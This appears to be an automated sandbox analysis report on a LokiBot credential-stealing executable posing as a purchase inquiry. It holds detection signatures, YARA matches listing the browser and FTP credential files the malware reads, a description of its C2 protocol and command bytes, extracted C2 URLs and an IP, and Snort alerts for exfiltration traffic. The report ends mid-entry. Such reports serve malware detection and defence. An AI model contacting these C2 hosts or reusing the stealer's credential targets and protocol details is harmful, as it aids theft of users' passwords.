Edit tour

Windows Analysis Report
Purchase Inquiry_#466789.exe

Overview

General Information

Sample name:	Purchase Inquiry_#466789.exe
Analysis ID:	1447828
MD5:	5eece0f9333721c96803f39becae9fa3
SHA1:	4508905c92a34c55d3b9b9fa5700c6b640b9a200
SHA256:	706a564a593479d9948fe8cfe542c4a788a80e3d08c38dc888179c5340023a08
Tags:	exeLoki
Infos:

Detection

Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AntiVM3

Yara detected Lokibot

.NET source code contains potential unpacker

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Initial sample is a PE file and has a suspicious name

Machine Learning detection for sample

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Tries to steal Mail credentials (via file registry)

Yara detected aPLib compressed binary

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Purchase Inquiry_#466789.exe (PID: 1880 cmdline: "C:\Users\user\Desktop\Purchase Inquiry_#466789.exe" MD5: 5EECE0F9333721C96803F39BECAE9FA3)

Purchase Inquiry_#466789.exe (PID: 7244 cmdline: "C:\Users\user\Desktop\Purchase Inquiry_#466789.exe" MD5: 5EECE0F9333721C96803F39BECAE9FA3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Loki Password Stealer (PWS), LokiBot	"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2	SWEED The Gorgon Group Cobalt	http://blog.reversing.xyz/reversing/2021/06/08/lokibot.html http://reversing.fun/posts/2021/06/08/lokibot.html http://reversing.fun/reversing/2021/06/08/lokibot.html http://www.malware-traffic-analysis.net/2017/06/12/index.html https://blog.fortinet.com/2017/05/17/new-loki-variant-being-spread-via-pdf-file	https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws

Malware Configuration

Threatname: Lokibot

{"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "http://45.61.137.215/index.php/t?id=090"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.2909018268.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x187f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x53bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x17e50:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x521b:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13a5f:$des3: 68 03 66 00 00 0x17e50:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x17f1c:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x1d4a0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0xa853:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x19097:$des3: 68 03 66 00 00 0x1d4a0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x1d56c:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x79e30:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x671fb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x75a3f:$des3: 68 03 66 00 00 0x79e30:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x79efc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Process Memory Space: Purchase Inquiry_#466789.exe PID: 1880	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: Purchase Inquiry_#466789.exe PID: 1880	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: Purchase Inquiry_#466789.exe PID: 1880	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Purchase Inquiry_#466789.exe PID: 1880	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x57a50:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk 0xaa548:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
Process Memory Space: Purchase Inquiry_#466789.exe PID: 7244	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: Purchase Inquiry_#466789.exe PID: 7244	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: Purchase Inquiry_#466789.exe PID: 7244	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
Process Memory Space: Purchase Inquiry_#466789.exe PID: 7244	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x9587:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
Click to see the 30 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x187f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x53bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x17936:$f1: FileZilla\recentservers.xml 0x17976:$f2: FileZilla\sitemanager.xml 0x15be6:$b2: Mozilla\Firefox\Profiles 0x15950:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x15afa:$s4: logins.json 0x169a4:$s6: wand.dat 0x15424:$a1: username_value 0x15414:$a2: password_value 0x15a5f:$a3: encryptedUsername 0x15acc:$a3: encryptedUsername 0x15a72:$a4: encryptedPassword 0x15ae0:$a4: encryptedPassword
2.2.Purchase Inquiry_#466789.exe.400000.0.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
2.2.Purchase Inquiry_#466789.exe.400000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
2.2.Purchase Inquiry_#466789.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.Purchase Inquiry_#466789.exe.400000.0.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
2.2.Purchase Inquiry_#466789.exe.400000.0.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
2.2.Purchase Inquiry_#466789.exe.400000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
2.2.Purchase Inquiry_#466789.exe.400000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
2.2.Purchase Inquiry_#466789.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
0.2.Purchase Inquiry_#466789.exe.3f60a40.6.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.Purchase Inquiry_#466789.exe.3f60a40.6.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x15ff0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
0.2.Purchase Inquiry_#466789.exe.3f60a40.6.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x3bbb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
0.2.Purchase Inquiry_#466789.exe.3f60a40.6.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
0.2.Purchase Inquiry_#466789.exe.3f60a40.6.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x15ff0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x3bbb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack	Windows_Trojan_Lokibot_1f885282	unknown	unknown	0x173f0:$a1: MAC=%02X%02X%02XINSTALL=%08X%08Xk
0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack	Windows_Trojan_Lokibot_0f421617	unknown	unknown	0x47bb:$a: 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6
0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x16536:$f1: FileZilla\recentservers.xml 0x16576:$f2: FileZilla\sitemanager.xml 0x147e6:$b2: Mozilla\Firefox\Profiles 0x14550:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x146fa:$s4: logins.json 0x155a4:$s6: wand.dat 0x14024:$a1: username_value 0x14014:$a2: password_value 0x1465f:$a3: encryptedUsername 0x146cc:$a3: encryptedUsername 0x14672:$a4: encryptedPassword 0x146e0:$a4: encryptedPassword
Click to see the 37 entries

Snort Signatures

ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:00.314607
SID:	2024312
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:03.034243
SID:	2025381
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:14.993058
SID:	2021641
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:05.506034
SID:	2024318
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:10.321376
SID:	2025381
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:14.993058
SID:	2024313
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:10.321376
SID:	2021641
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:10.321376
SID:	2024313
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:00.314607
SID:	2024317
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:00.314607
SID:	2021641
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:07.737924
SID:	2024318
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:05.506034
SID:	2024313
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:05.506034
SID:	2021641
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:07.737924
SID:	2024313
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:14.993058
SID:	2025381
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:03.034243
SID:	2024317
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:05.506034
SID:	2025381
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:07.737924
SID:	2021641
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.4 - Destination IP: 45.61.137.215

Timestamp:	05/27/24-08:32:10.321376
SID:	2024318
